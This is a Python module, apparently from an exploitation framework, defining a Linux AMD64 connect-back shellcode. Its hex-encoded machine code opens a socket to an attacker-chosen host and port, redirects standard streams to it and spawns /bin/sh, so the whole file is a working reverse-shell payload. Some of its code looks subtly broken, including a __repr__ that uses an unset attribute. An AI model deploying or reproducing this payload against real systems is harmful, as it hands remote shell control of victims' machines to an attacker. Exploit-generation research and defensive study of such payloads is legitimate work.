import socket
import struct
import logging
import binascii

from rex.exploit.shellcode import Shellcode

l = logging.getLogger("rex.exploit.shellcodes.linux_amd64_connectback")


class LinuxAMD64Connectback(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["AMD64"]
    name = "connectback"
    asm = None
    code = (binascii.unhexlify("4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c04831f64d31d24152c604240266c7442402") +
            b"%s" +
            binascii.unhexlify("c7442404") +
            b"%s" +
            binascii.unhexlify("4889e66a105a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a48bf2f2f62696e2f736848c1ef0857545f6a3b580f05")
            )

    def __init__(self, host, port):
        self.host = host
        self.port = port

        if self.port < 0 or self.port >= 65535:
            raise ValueError("invalid port specified")

    def __repr__(self):
        return "<Shellcode %s (%s:%d)>" % (self.name, self.ip, self.port)

    def raw(self, arch=None):
        """
        :param ip: string representing the ip address or domain name to connect back to
        :param port: port to connect to on the remote host
        """

        target_ip = socket.gethostbyname(self.host)
        raw_ip = binascii.hexlify(socket.inet_aton(target_ip))

        raw_port = binascii.hexlify(struct.pack("!H", self.port))

        return self.code % (raw_port, raw_ip)
